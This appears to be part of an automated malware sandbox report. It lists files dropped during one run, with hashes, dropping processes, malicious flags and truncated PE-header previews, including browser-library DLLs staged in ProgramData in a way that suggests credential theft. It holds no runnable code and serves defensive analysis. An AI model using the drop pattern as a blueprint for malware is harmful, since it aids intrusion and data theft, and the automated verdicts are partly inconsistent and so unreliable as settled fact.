Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\rc65.dat

Download File

Process:	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe
File Type:	data
Category:	modified
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:7ln:h
MD5:	D72B226AFCD0C734A06D44A29921329D
SHA1:	E47D79D64A68FC1F86D4ABC3B45E56E2C64F9ED5
SHA-256:	45E29D14686BC2B9890F23F4E54B8C8F2DA647796977A8DF04833FA1EE5E976C
SHA-512:	2FE51494B7CE151AF89DD87226C7DBCA3F77C281FC19CFE2B4C57E8E9B619499A806AFBE63CE23EF19DF76C9F2877428F959B001B70C41F42E3E6FC1FE1AB4CB
Malicious:	false
Preview:	....

C:\ProgramData\resource-a.dat

Download File

Process:	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	128
Entropy (8bit):	2.9545817380615236
Encrypted:	false
SSDEEP:	3:SmwW3Fde9UUDrjStGs/:Smze7DPStGM
MD5:	98DDA7FC0B3E548B68DE836D333D1539
SHA1:	D0CB784FA2BBD3BDE2BA4400211C3B613638F1C6
SHA-256:	870555CDCBA1F066D893554731AE99A21AE776D41BCB680CBD6510CB9F420E3D
SHA-512:	E79BD8C2E0426DBEBA8AC2350DA66DC0413F79860611A05210905506FEF8B80A60BB7E76546B0CE9C6E6BC9DDD4BC66FF4C438548F26187EAAF6278F769B3AC1
Malicious:	false
Preview:	30ea4c433b26b5bea4193c311bc4a25098960f3df7dbf2a6175bf7d152ea71ca................................................................

C:\ProgramData\resource-b.dat

Download File

Process:	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	128
Entropy (8bit):	1.2701231977328944
Encrypted:	false
SSDEEP:	3:WAmJuXDz8/:HHzc
MD5:	0D6174E4525CFDED5DD1C9440B9DC1E7
SHA1:	173EF30A035CE666278904625EADCFAE09233A47
SHA-256:	458677CDF0E1A4E87D32AB67D6A5EEA9E67CB3545D79A21A0624E6BB5E1087E7
SHA-512:	86DA96385985A1BA3D67A8676A041CA563838F474DF33D82B6ECD90C101703B30747121A6B7281E025A3C11CE28ACCEDFC94DB4E8D38E391199458056C2CD27A
Malicious:	false
Preview:	ccddf9e705966c2f471db9..........................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ts65.dat

Download File

Process:	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe
File Type:	ISO-8859 text, with no line terminators
Category:	dropped
Size (bytes):	8
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:AaX:AaX
MD5:	ADBB6B3DC4C789DF85C904A385246DFA
SHA1:	3447FA27D6ECD07D60B6C26DF1CA43957847F6FB
SHA-256:	F0D6A29FACA41E333D1F1182134D7D41500A145F742ED26D6BD47C78679851D6
SHA-512:	D07540C096D3A0A0EC363B3C958C46C86DE048B4657AB919858B6275DC7C0EA6BD5013FEEDD14BEED7AA1BF923A6780E4859D943FA290A81721658137314896F
Malicious:	false
Preview:	N..e....

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\xcfonrchdkar\vueqjgslwynd.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\FourthX.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2654720
Entropy (8bit):	6.545978188908966
Encrypted:	false
SSDEEP:	49152:iVkNC5+XxkQKlb0FjgS0+cywnZLIJK2egUmFbcP9ovzmiPKkv/m63KEll25OcXoZ:iVkYYXc4FUoNeIo2eaZdScKS/mQ/K6
MD5:	B03886CB64C04B828B6EC1B2487DF4A4
SHA1:	A7B9A99950429611931664950932F0E5525294A4
SHA-256:	5DFAA8987F5D0476B835140D8A24FB1D9402E390BBE92B8565DA09581BD895FC
SHA-512:	21D1A5A4A218411C2EC29C9CA34CE321F6514E7CA3891EDED8C3274AEB230051661A86EDA373B9A006554E067DE89D816AA1FA864ACF0934BBB16A6034930659
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...}..e.........."......n....(.....@..........@..............................(...........`.................................................0...<.....(.......(...............(.x...............................(.......8..............X............................text...vm.......n.................. ..`.rdata..x............r..............@..@.data.....'.......'.................@....pdata........(......d(.............@..@.00cfg........(......f(.............@..@.tls..........(......h(.............@....rsrc.........(......j(.............@..@.reloc..x.....(.......(.............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\C33B.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\C33B.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\PenWorkspace\DiscoverCacheData.dat

Download File

Process:	C:\Windows\explorer.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1019
Entropy (8bit):	5.236946495216897
Encrypted:	false
SSDEEP:	24:YqHZ6T06Mhm4ymNib0O0bihmCetmKg6CUXyhmimKgbxdB6hmjmKgz0JahmcmKgbR:YqHZ6T06McoEb0O0bicCewHDUXycLHbR
MD5:	5D20D9B3F928AC964E07C561FD8A3F42
SHA1:	B702BE149FCF94831A975F2CD06B2DFE020D9632
SHA-256:	59A4F22870D7A7DC3339917C89FF6AF09FA762AF39F0624338FDDFF631730492
SHA-512:	30E5F275FFB475A403439C3A4DCC05F3E12A6914D93F20EB38AF3240A7F693A455C25C005A3681AB39C89BFAD9AE66FAAE3874B987FAC48BB6A5439194FDCEDC
Malicious:	false
Preview:	{"RecentItems":[{"AppID":"Microsoft.MicrosoftEdge_8wekyb3d8bbwe!MicrosoftEdge","PenUsageSec":15,"LastSwitchedLowPart":7763552,"LastSwitchedHighPart":31061488,"PrePopulated":true},{"AppID":"Microsoft.WindowsCommunicationsApps_8wekyb3d8bbwe!Microsoft.WindowsLive.Mail","PenUsageSec":15,"LastSwitchedLowPart":4292730848,"LastSwitchedHighPart":31061487,"PrePopulated":true},{"AppID":"Microsoft.Office.OneNote_8wekyb3d8bbwe!microsoft.onenoteim","PenUsageSec":15,"LastSwitchedLowPart":4282730848,"LastSwitchedHighPart":31061487,"PrePopulated":true},{"AppID":"Microsoft.Windows.Photos_8wekyb3d8bbwe!App","PenUsageSec":15,"LastSwitchedLowPart":4272730848,"LastSwitchedHighPart":31061487,"PrePopulated":true},{"AppID":"Microsoft.MSPaint_8wekyb3d8bbwe!Microsoft.MSPaint","PenUsageSec":15,"LastSwitchedLowPart":4262730848,"LastSwitchedHighPart":31061487,"PrePopulated":true},{"AppID":"Microsoft.WindowsMaps_8wekyb3d8bbwe!App","PenUsageSec":15,"LastSwitchedLowPart":4252730848,"LastSwitchedHighPart":31061487,"Pr

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\ping[1].htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\InstallSetup4.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\syncUpd[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\InstallSetup4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	309760
Entropy (8bit):	6.742717905877607
Encrypted:	false
SSDEEP:	6144:WiRLDkKDijJm8CR2ftW+2UcRTJyrtRYkM+:WcPkKDijJmH2ftW+d8u
MD5:	5FA7AD590C3CD426256D9D566A763D82
SHA1:	6256656E428C7CAE579165D5BE254493257CFDBC
SHA-256:	705EFE0949189673F83B5853E8FE358A4EB96D28E778194A36125EDCD997CD24
SHA-512:	0591521DD3F2BF7167DF7945B4B6DCA3FF46F49A26B080CD4F8C0CDE7C35875BFFA336E4AFD5675B8B2D9808B5DB3068CDF4AAE2A0FB9EFED088DB10313B0C94
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L...#..c............................O"............@..........................p$.....?:..........................................P.......x..........................................................x...@............................................text............................... ..`.rdata..$\.......^..................@..@.data...t........0..................@....rsrc...xd .........................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\C33B.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4315536
Entropy (8bit):	7.986023355020629
Encrypted:	false
SSDEEP:	98304:Ox34CiKzvjm7SLtMZTm7LASnwWEuCSeZHe31O6Y/qHYq9Pei:OB4yzvjmEtMf+wT3Us6Y/qHYKB
MD5:	D122F827C4FC73F9A06D7F6F2D08CD95
SHA1:	CD1D1DC2C79C0EE394B72EFC264CFD54D96E1EE5
SHA-256:	B7A6DCFDD64173ECBCEF562FD74AEE07F3639FA863BD5740C7E72DDC0592B4FC
SHA-512:	8755979D7383D6CB5E7D63798C9CA8B9C0FAEEC1FE81907FC75BBBB7BE6754AB7B5A09A98492A27F90E3F26951B6891C43D8ACD21414FB603CD86A4E10DAC986
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 51%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................PE..L...&f.d.................`@..p...............p@...@...................................B......................................@.<.....A...............A..............q@...............................@.@............p@.`............................text....^@......`@................. ..`.rdata...W...p@..X...d@.............@..@.data.........@..P....@.............@....rsrc.....O...A.......A.............@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\40BE.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	458752
Entropy (8bit):	7.200184073952647
Encrypted:	false
SSDEEP:	12288:KkeSiwJdgJyC90k8uB8UEYIwswobSBpq:JSwJdmB8UEYF9obS
MD5:	8FF4DC8BD7F90F2F266F56505567F26D
SHA1:	DBB77CA758CA0067F378235DBAC0FED5AB967E2F
SHA-256:	C40E8AED00FFCA9060B4CF5BF76A0DBEE687056E4D956703A55A3ECEB0E50A72
SHA-512:	2FA6FF71A221D1AB9905197D92BE9F61885A315BB5F4D6E8133FF2CDB13712C28C0A48AADC7A8349E71F7BB4385ABDDC08B727844A4B0FC59543F4E7826EA353
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L....9\d.....................F.......!............@.................................8h..........................................P....P..x...........................................................h...@............................................text............................... ..`.rdata...[.......\..................@..@.data...d%... ...R..................@....rsrc...x....P.......Z..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4KPV6A~1\cached-certs (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\87C6.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	20852
Entropy (8bit):	6.05147791645295
Encrypted:	false
SSDEEP:	384:eea4igBVA1hrqyd24ZFtVf1hc1x2h4YVc1h1f/40VVq1h8PXtyd4AW9V9hC1hIhF:7a9gBSy62M1ux6xyhHJiO9yrqvUgb+3Q
MD5:	714A54B80905C86C83C3209F2ACDDD9E
SHA1:	73F113F793CD06CA6561C4D8648B247695B7C3E0
SHA-256:	9CF5E6B55F14280CAB030D9D853FB10D0F72D845A5F5886679D554A96CF8C05B
SHA-512:	B1284BE6D8ACC71CD38B9AAD4E4FB435838280BDE86A4F458A3B828D6221029C443BC53DACA01EA93806BDC57637545AB945E774BE44537874C8398F01AAF432
Malicious:	false
